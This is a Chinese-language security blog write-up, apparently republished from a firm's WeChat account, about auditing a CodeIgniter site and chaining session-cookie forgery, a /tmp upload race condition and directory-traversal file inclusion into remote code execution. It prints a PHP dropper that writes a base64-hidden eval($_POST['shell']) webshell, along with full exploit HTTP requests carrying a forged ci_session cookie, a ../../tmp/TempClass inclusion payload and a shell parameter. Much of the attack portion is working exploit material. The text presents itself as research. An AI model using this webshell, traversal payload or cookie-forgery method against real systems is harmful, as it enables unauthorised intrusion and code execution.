记一次跌宕起伏的白盒审计到RCE

admin 2023年11月8日02:08:22评论20 views字数 14009阅读46分41秒阅读模式
记一次跌宕起伏的白盒审计到RCE


零鉴科技





引言

在一次项目中,前期拿到了站点的源码,队里师傅白盒审出了一条曲折的利用链,现在对这条链的挖掘过程重新做一次复现并记录。

这条链涉及经典漏洞包括:session 伪造、任意文件上传、条件竞争、文件包含,每一个漏洞都非常经典,串在一起变成了一个 big boom。

前排说明:目标站点使用框架为 CodeIgniter,本文目的是技术研究和思路分享,涉及到关于目标站点的信息已被隐去,相关代码特征如变量、函数的命名也已替换,但代码的逻辑均保留,仍具备参考价值。


PART1.
找到上传点


检索一遍没有发现明显的命令注入、代码注入。

转而找上传或文件写入漏洞,主要关注 file_put_contents 和 move_uploaded_files 等函数

在某一个上传接口 /uploadController/uploadMethod 中,找到如下代码段:

$fileInput = $_FILES;$targetPath = "/tmp/";$file = $targetPath . basename($fileInput['uploadedFile']['name']);move_uploaded_file($fileInput['uploadedFile']['tmp_name'], $file);$multipartParams = [    ......];$result = apiRequest(    'POST',    ......    $multipartParams);if (file_exists($file)) {   unlink($file);}

代码的逻辑很清晰:

1.从 $_FILES 中提取出 uploadedFile 这个文件,保留上传时的文件名,并将其移动到 /tmp 目录下。2.构造一个表单,其中 imageFile 参数即为第一步中被移动的文件,然后和其他参数一起 POST 向另一个接口。3.经典“卸磨杀驴”,删除刚刚移动的文件。

然后这里就算是一个 “不稳定” 的文件上传点,路径为 /tmp/[上传文件名]

利用场景也 “被迫” 地让我们想好了:需要一个文件包含来和上面这段代码中的 unlink 操作进行竞争,在文件被删除之前包含它,来达到执行代码的效果。







PART2.
找文件包含




目标是找到能控制文件路径的包含点,这里发现了一个 Meathods 类,它包含一个 method1 方法符合我们的需求。

public function method1(){    header('Content-Type: application/json');    $response = array();    if ($this->input->is_ajax_request()) {        $data = $this->input->post(null, true);        if (empty($data)) {            $data = $this->input->get(null, true);        }        $class = $data['class'];        $method = $data['method'];        if ($this->isMethodAllowed($method)) {            unset($data['class']);            unset($data['method']);            $this->load->model($class);            $response = $this->$class->$method($data);        }    }    return;}

这部分逻辑也很清晰

1.is_ajax_request() 通过请求头 HTTP_X_REQUESTED_WITH 的值是否为 "XMLHttpRequest" 来判断是不是异步请求,如果不是,则返回一个 json 编码后的空数组。之后的漏洞利用过程中需要注意这个点;2.从 post 参数中获取请求的变量,如果没有就从 get 参数中获取。post() 和 get() 两个函数的具体逻辑为遍历 $_POST 和 $_GET 来获取变量。(支持从 post 数据中获取参数的这一特性,在绕过 waf 方面能给我们提供更多选择)。3.获取到对应的 $class 和 $method 之后,isMethodAllowed() 检查了被调用的方法是否被允许。4.调用框架定义好的 this->load->model 方法来加载对应的类。

避免有什么框架定义好的限制,有必要看一下 this->load->model 的逻辑。

$this->load =& load_class('Loader', 'core');

load_class() 函数是框架与定义的函数,它会去对应的路径包含对应的文件,并加载其中的类,这样我们就找到了 this->load,也就有了 model 函数的代码:

public function model($model, $name = '', $db_conn = FALSE){    $path = '';    if (($last_slash = strrpos($model, '/')) !== FALSE)    {        $path = substr($model, 0, $last_slash + 1);        $model = substr($model, $last_slash + 1);    }    if ($name == '')    {        $name = $model;    }    $CI =& get_instance();    $model = strtolower($model);    foreach ($this->_ci_model_paths as $mod_path)    {        if ( ! file_exists($mod_path.'models/'.$path.$model.'.php'))        {            continue;        }        // 这里的 require_once 可以被利用来文件包含        require_once($mod_path.'models/'.$path.$model.'.php');        $CI->$name = new $model();        return;    }    ......}

开发常见的问题,相信了用户的输入,没有对输入进行足够的过滤,这个函数没有对传入的参数 $model 做严格的过滤,导致可以通过 "../" 进行目录穿越,从而可以实现对任意文件的包含。

那么再回到调用 model 的地方再看:

$this->load->model($class);$response = $this->$class->$method($data);

实例化了目标类之后,还调用了相应的方法,可谓非常贴心了。






PART3.
尝试利用






从目前已经掌握的漏洞点出发,已经可以构思出这个漏洞的利用方式,首先准备一个恶意的 php 文件准备上传:

<?phpclass TempClass{    function __construct(){        print('in __construct()n');        file_put_contents('/tmp/TempClass2.php',base64_decode("PD9waHAKY2xhc3MgVGVtcENsYXNzMnsKCWZ1bmN0aW9uIF9fY29uc3RydWN0KCl7CiAgICAgICAgcHJpbnQoJ2luIF9fY29udHJ1Y3RcbicpOwoJCWV2YWwoJF9QT1NUWydzaGVsbCddKTsKCX0KCWZ1bmN0aW9uIGdldERhdGExKCRwYXJhbXMpewogICAgICAgIHByaW50KCdpbiBnZXREYXRhMScpOwoJCXZhcl9kdW1wKCRwYXJhbXMpOwoJfQp9"));            }    function getData1($params){        print('in getData1()n');    }}

包含这个恶意文件并实例化 TempClass 时,会调用构造函数写入一个 /tmp/TempClass2.php,内容为:

<?phpclass TempClass2{    function __construct(){       print('in __contructn');       eval($_POST['shell']);    }    function getData1($params){       print('in getData1');       var_dump($params);    }}

那么,接下来需要找到这个上传的入口,在一处 js 中找到了对应的代码:

$('.form-file').on('change', function () {    ......    $(formId + '.form-upload').val(file[0].name);    var formData = new FormData();    formData.append('uploadedFile', file[0]);    ......});......context.methodsCall = function(formData) {    ......    $.ajax({        url'/uploadController/uploadMethod/',        type: 'POST',        data: formData,        dataType: 'json',        ......        success: function (data) {            ......        }    });}

从前端页面找到这个接口似乎不太方便,但是从 js 的逻辑中构建出请求包倒也不困难。

只是遗憾的是,尝试访问之后发现这个上传接口不能随意访问,所以还得从程序入口开始审计哪里做了鉴权。






PART4.
找到鉴权






代码定义了 Hooks 类,在对每一个控制器的进行操作前,都会先调用若干个 hooks 中定义的方法,其中和鉴权相关的方法位于:hooks/auth.php

鉴权相关的函数为 permissionCheck():

function permissionCheck() {    ......    $user = $CI->load->get_var('auth_user');    $permissions = $user['permissions'];    ......    if (! in_array($action, $allow)) {        if (! isset($permissions[$controller][$action])) {            ......            redirect('permissions/unauthorized');        }    }}

这里可以看到,我们想要调用的方法,需要在 $user['permissions'] 中被指定,$user 从 $CI->load->get_var('auth_user') 中来,auth_user 刚好在另一个 hooks 方法 loginCheck() 中被设置。

function loginCheck() {    ......    if ($CI->router->method != 'login' && !$CI->session->userdata('logged_in')) {        redirect('users/login');    }    elseif ($CI->session->userdata('logged_in')) {        $user = new User;        $user = $user->findUserById($CI->session->userdata('logged_in'));        if (empty($user)) {            $CI->session->destroySess();            redirect('users/login');        }        elseif (empty($user['permissions'])) {            $CI->session->destroySess();            redirect('users/login');        }        else {            $CI->session->setUserdata('user', $user);            $CI->load->vars('auth_user', $user);        }        if ($CI->router->method == 'login') redirect('users');    }}

直接来看 elseif 部分,对于已经登陆的用户,会根据用户 id 用 findUserById() 到数据库中查询相应的信息,其中包含一个 permissions 字段,似乎看到了我们想要的东西,之后又将用户信息用 $CI->load->vars 设置为一个 auth_user 变量,也就是 permissionCheck() 函数中参数的来源,

来看一下 findUserById() 具体操作了哪些数据库:

public function findUserById($id = null) {    if ($id) {        $q = Doctrine_Query::create()            ->from('User u')            ->leftJoin('u.Role r')            ->leftJoin('r.Permission p')            ->leftJoin('u.Sessions s')            ->where('u.id = ?', $id);        $user = $q->fetchOne();        Doctrine_Manager::connection()->close();        if (empty($user)) {            return array();        }        else {            $user = $user->toArray();            $permissions = array();            if (isset($user['Role']['Permission']) && !empty($user['Role']['Permission'])) {                foreach ($user['Role']['Permission'] as $permission) {                    $permissions[$permission['controller']][$permission['action']] = $permission['id'];                }            }            $customData = $this->_unserialize($user['user_data']);            array_merge($permisssions, $customData['permission']);            $user['permissions'] = $permissions;            return $user;        }    }    else {        return array();    }}

跟踪 findUserById() 的逻辑发现,主要进行了数据库查询操作,但是对于 $permissions,还有一部分来自 session 相关的数据库。






PART5.
session伪造






常规数据库可能没办法直接修改,但是 session 数据库也许会伴随用户状态的改变而修改,那么如果 session 数据库中的信息可控,也可以达到我们的目的。

在 Session.php 中可以找到对 cookie 的相应操作。

if ( ! $this->readSess()){    $this->createSess();}else{    $this->updateSess();}$this->markFlashdata();

首先看一下 sess_read() 函数

function readSess(){    $session = $this->CI->input->cookie($this->sess_cookie_name);    ...... (省略部分校验逻辑)    if ($this->sess_encrypt_cookie == TRUE)    {        $session = $this->CI->encrypt->decode($session);    }    $session = $this->_unserialize($session);    ......(校验 User-Agent / IP / last_activity 相关)    if ($this->sess_use_database === TRUE)    {        ......(通过数据库校验 User-Agent / IP / last_activity 相关)        $query = $this->CI->db->get($this->sess_table_name);        ......        $row = $query->row();        if (isset($row->user_data) AND $row->user_data != '')        {            $customData = $this->_unserialize($row->user_data);            if (is_array($customData))            {                foreach ($customData as $key => $val)                {                    $session[$key] = $val;                }            }        }    }    $this->userdata = $session;    unset($session);    return TRUE;}

看起来都是常规的操作,

1.首先校验了 cookie 的合法性,在设置 cookie 时就用了尾部的签名了来做校验;(这部分逻辑在代码中省略)2.紧接着判断 cookie 中的其他特征,UA、ip 地址、过期时间等等是否合法;3.最后还有一些用户自定义的数据,这些自定义数据先从数据库中取得的,也被放到了 $session 变量中。

然而 $session 变量最开始却是从这里来的:$session = $this->_unserialize($session);

当然这里似乎还有潜在的反序列化漏洞,不过暂且先不关注。$session 最后在 $this->userdata = $session; 所以,如果我们直接在 cookie 中构造相应的数据结构,当它被反序列化到 $session 变量后,仍然可以被保存到 userdata 中。

紧接着 readSess() 之后, markFlashdata() 中调用了 setUserdata() 更新 $userdata,更进一步调用 writeSess() 写入到数据库中,

function setUserdata($newdata = array(), $newval = ''){    if (count($newdata) > 0)    {        foreach ($newdata as $key => $val)        {            $this->userdata[$key] = $val;        }    }    $this->writeSess();}

然后是 writeSess(),这里将 $userdata 做了分类处理,并写入了数据库

function writeSess(){    ......    $customUserdata = $this->userdata;    $cookieUserdata = array();    foreach (array(.....) as $val)    {        unset($customUserdata[$val]);        $cookieUserdata[$val] = $this->userdata[$val];    }    $customUserdata = $this->_serialize($customUserdata);    $this->CI->db->where('session_id', $this->userdata['session_id']);  $this->CI->db->update($this->sess_table_name, array(......, 'user_data' => $customUserdata));    ......}

调用 writeSess() 函数将除部分特殊字段之外其他字段作为 “自定义数据” 以关键字 user_data 存入数据库中,这也是我们想要操作的数据。

接下来就要着手伪造 cookie 了,本地执行对应的加解密算法。

加密部分:

function encode($string, $key = ''){    $key = $this->get_key($key);    $enc = $this->cryptEncode($string, $key);    return base64_encode($enc);}

解密部分:

function decode($string, $key = ''){    $key = $this->getKey($key);    if (preg_match('/[^a-zA-Z0-9/+=]/', $string))    {        return FALSE;    }    $dec = base64_decode($string);    if (($dec = $this->cryptDecode($dec, $key)) === FALSE)    {        return FALSE;    }    return $dec;}

$key 可以在配置文件中拿到。

具体 mcrypt_decode() 和 mcrypt_encode() 的代码很长,此处省略。






PART6.
正式攻击






首先用已经掌握的低权限账号密码登陆,登陆之后会得到一个已经 "logged_in" 的 cookie。

例如:

ci_session=xfaaLHsFHaexzWJQii6sC/Us7ydR6Y3PWILpwx1L5Hqlqu9SLVvO1uIjUWFsi4DhQl+FRvb3WjNASlaKYuT33PLMUSVxwWzMneuXUUWfhvAyu7hqq2nrn1TV044A9H77vkZ98dpBbHGzG5vXW0XBioeDL14f6Zp+0iho59bgTdqmibgEz1wfi6JUcUeKQ+eA4Hso+B42mMSC1V1m3MewyWqVhiiKL8ZgHexjnkeHOcty+0l+iBX2biiSEtQz0GJDPU3OoKmwF2M8MnkfNDFh6DhgwfH26LBVWmiUrJm75yBh6VyYkwboLixBYlHuc0Z4mzWYg+VOxWcjRFF6dzJ37NU8rXQYJap2XlSU3Yqc+N97YgRrMo6yLOPP9IakkM+YcqyImXF1zb77KKh5pIgqPFZR9xekt9p8EvtUpQKZrg8=824f09cccb5cf704340df4b5c205c26c5e9e52c2

解密之后:

a:4:{s:10:"session_id";s:32:"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx";s:10:"ip_address";s:13:"xxxxxxxxxxxxx";s:10:"user_agent";s:114:"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx";s:13:"last_activity";i:xxxxxxxxxx;}

给这个序列化字符串加一点东西上去:

a:5:{s:10:"session_id";s:32:"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx";s:10:"ip_address";s:13:"xxxxxxxxxxxxx";s:10:"user_agent";s:114:"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx";s:13:"last_activity";i:xxxxxxxxxxxxx;s:10:"permission";a:1:{s:16:"uploadController";a:1:{s:12:"uploadMethod";s:1:"1";}}}

然后调用加密函数再生成新的 cookie:

ci_session=wFGkjcdbNDRwLaIh3t+AkrQR30J/laBpEf9mD5pxjhppUqz9CwMFy6WqGylz/dM+9iRbYEqt2B/V+Mcs0hhGWDafjU3eqpfci9P6w1zsVZcfyg3ub2neKa/PsMnMWLCWLrX1tSIjdOI9QiWLj9v6zkABa+4g1Wn1ZkyT/eFQKHVxOLU4pFgK4oJbmzyiCNbJ2yJYkGQdDllfkURn5Xz89ut9Lw9b6nttfgCWzbaVWO+cejiuqJmrZY5GsAgdhLDOWSHGIdxJrghVc52bU0JHLUlQcsG/bNdpozY5mu7i53mlb0N6fz3WQ9Rg2TqlW8hgCjVTZ15fxusN67E0uPaRTt70SAkbL+aSSFL2VilJEQTr+UxZ28NNERMkPlALDjy03itGFjf3+F1Y7m+rSCcfFMBpWPDpSA5v3uoFYgc44HB+HyBxd5KMHHqCjiD5/bIVt3fO53/1k5kQfYMKsKCJAfH/XwGpGoRUNEEjpjlZKIMUFiQFYblw3bOvpSUQneXm+yeJ/2wDbQ+E+IjgdZcrFGtKZwzZafaBH+2pcDG2Tbo=5c154e08c40a5d6a7652d8700429971065e97e07

具体利用过程中用到的请求包:

第一步:利用伪造的 cookie 进行上传

part1:
POST /uploadController/uploadMethod HTTP/1.1......Cookie: ci_session=wFGkjcdbNDRwLaIh3t%2BAkrQR30J/laBpEf9mD5pxjhppUqz9CwMFy6WqGylz/dM%2B9iRbYEqt2B/V%2BMcs0hhGWDafjU3eqpfci9P6w1zsVZcfyg3ub2neKa/PsMnMWLCWLrX1tSIjdOI9QiWLj9v6zkABa%2B4g1Wn1ZkyT/eFQKHVxOLU4pFgK4oJbmzyiCNbJ2yJYkGQdDllfkURn5Xz89ut9Lw9b6nttfgCWzbaVWO%2BcejiuqJmrZY5GsAgdhLDOWSHGIdxJrghVc52bU0JHLUlQcsG/bNdpozY5mu7i53mlb0N6fz3WQ9Rg2TqlW8hgCjVTZ15fxusN67E0uPaRTt70SAkbL%2BaSSFL2VilJEQTr%2BUxZ28NNERMkPlALDjy03itGFjf3%2BF1Y7m%2BrSCcfFMBpWPDpSA5v3uoFYgc44HB%2BHyBxd5KMHHqCjiD5/bIVt3fO53/1k5kQfYMKsKCJAfH/XwGpGoRUNEEjpjlZKIMUFiQFYblw3bOvpSUQneXm%2ByeJ/2wDbQ%2BE%2BIjgdZcrFGtKZwzZafaBH%2B2pcDG2Tbo%3D5c154e08c40a5d6a7652d8700429971065e97e07Content-Type: multipart/form-data; boundary=------------------------85a71e8a43af37acContent-Length: xxx
--------------------------85a71e8a43af37acContent-Disposition: form-data; name="uploadedFile"; filename="TempClass.php"Content-Type: image/png
<?phpclass TempClass{ function __construct(){ print('in __construct()n'); file_put_contents('/tmp/TempClass2.php',base64_decode("PD9waHAKY2xhc3MgVGVtcENsYXNzMnsKCWZ1bmN0aW9uIF9fY29uc3RydWN0KCl7CiAgICAgICAgcHJpbnQoJ2luIF9fY29udHJ1Y3RcbicpOwoJCWV2YWwoJF9QT1NUWydzaGVsbCddKTsKCX0KCWZ1bmN0aW9uIGdldERhdGExKCRwYXJhbXMpewogICAgICAgIHByaW50KCdpbiBnZXREYXRhMScpOwoJCXZhcl9kdW1wKCRwYXJhbXMpOwoJfQp9")); } function getData1($params){ print('in getData1()n'); }}?>--------------------------85a71e8a43af37ac--

第二步,因为需要条件竞争,可以考虑把这个上传包放到 intruder 里重放个几百次,然后在上传的过程中,去尝试包含 /tmp/TempClass.php ,来达到竞争的效果。

part2:
POST /Meathods/method1 HTTP/1.1......Cookie: ci_session=wFGkjcdbNDRwLaIh3t%2BAkrQR30J/laBpEf9mD5pxjhppUqz9CwMFy6WqGylz/dM%2B9iRbYEqt2B/V%2BMcs0hhGWDafjU3eqpfci9P6w1zsVZcfyg3ub2neKa/PsMnMWLCWLrX1tSIjdOI9QiWLj9v6zkABa%2B4g1Wn1ZkyT/eFQKHVxOLU4pFgK4oJbmzyiCNbJ2yJYkGQdDllfkURn5Xz89ut9Lw9b6nttfgCWzbaVWO%2BcejiuqJmrZY5GsAgdhLDOWSHGIdxJrghVc52bU0JHLUlQcsG/bNdpozY5mu7i53mlb0N6fz3WQ9Rg2TqlW8hgCjVTZ15fxusN67E0uPaRTt70SAkbL%2BaSSFL2VilJEQTr%2BUxZ28NNERMkPlALDjy03itGFjf3%2BF1Y7m%2BrSCcfFMBpWPDpSA5v3uoFYgc44HB%2BHyBxd5KMHHqCjiD5/bIVt3fO53/1k5kQfYMKsKCJAfH/XwGpGoRUNEEjpjlZKIMUFiQFYblw3bOvpSUQneXm%2ByeJ/2wDbQ%2BE%2BIjgdZcrFGtKZwzZafaBH%2B2pcDG2Tbo%3D5c154e08c40a5d6a7652d8700429971065e97e07Content-Type: multipart/form-data; boundary=------------------------85a71e8a43af37acContent-Length: 314
--------------------------85a71e8a43af37acContent-Disposition: form-data; name="class"
../../../../../../../../../../../../../../../../../../../../tmp/TempClass--------------------------85a71e8a43af37acContent-Disposition: form-data; name="method"
getData1--------------------------85a71e8a43af37ac--

第三步,一旦包含成功,那么在实例化 TempClass 的时候,会写入一个新的 TempClass2,这下可没有代码会去 unlink 它了,可以被稳定的利用。

part3:
POST /Meathods/method1 HTTP/1.1......Cookie: ci_session=wFGkjcdbNDRwLaIh3t%2BAkrQR30J/laBpEf9mD5pxjhppUqz9CwMFy6WqGylz/dM%2B9iRbYEqt2B/V%2BMcs0hhGWDafjU3eqpfci9P6w1zsVZcfyg3ub2neKa/PsMnMWLCWLrX1tSIjdOI9QiWLj9v6zkABa%2B4g1Wn1ZkyT/eFQKHVxOLU4pFgK4oJbmzyiCNbJ2yJYkGQdDllfkURn5Xz89ut9Lw9b6nttfgCWzbaVWO%2BcejiuqJmrZY5GsAgdhLDOWSHGIdxJrghVc52bU0JHLUlQcsG/bNdpozY5mu7i53mlb0N6fz3WQ9Rg2TqlW8hgCjVTZ15fxusN67E0uPaRTt70SAkbL%2BaSSFL2VilJEQTr%2BUxZ28NNERMkPlALDjy03itGFjf3%2BF1Y7m%2BrSCcfFMBpWPDpSA5v3uoFYgc44HB%2BHyBxd5KMHHqCjiD5/bIVt3fO53/1k5kQfYMKsKCJAfH/XwGpGoRUNEEjpjlZKIMUFiQFYblw3bOvpSUQneXm%2ByeJ/2wDbQ%2BE%2BIjgdZcrFGtKZwzZafaBH%2B2pcDG2Tbo%3D5c154e08c40a5d6a7652d8700429971065e97e07Content-Type: multipart/form-data; boundary=------------------------85a71e8a43af37acContent-Length: 433
--------------------------85a71e8a43af37acContent-Disposition: form-data; name="class"
../../../../../../../../../../../../../../../../../../../../tmp/TempClass2--------------------------85a71e8a43af37acContent-Disposition: form-data; name="method"
getData1--------------------------85a71e8a43af37acContent-Disposition: form-data; name="shell"
var_dump("hello,world");--------------------------85a71e8a43af37ac--


OK!打完收工。








REVIEW

稍微来总结一下整条利用链:

1.找到文件上传 -> 一个 “不稳定” 的文件上传2.找文件包含 -> 目录穿越导致任意文件包含3.条件竞争 -> 结合 1、2 条件竞争获得 RCE4.找权限控制 -> 伪造 cookie 得到任意接口的访问权限


原文始发于微信公众号(零鉴科技):记一次跌宕起伏的白盒审计到RCE

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  • 本文由 发表于 2023年11月8日02:08:22
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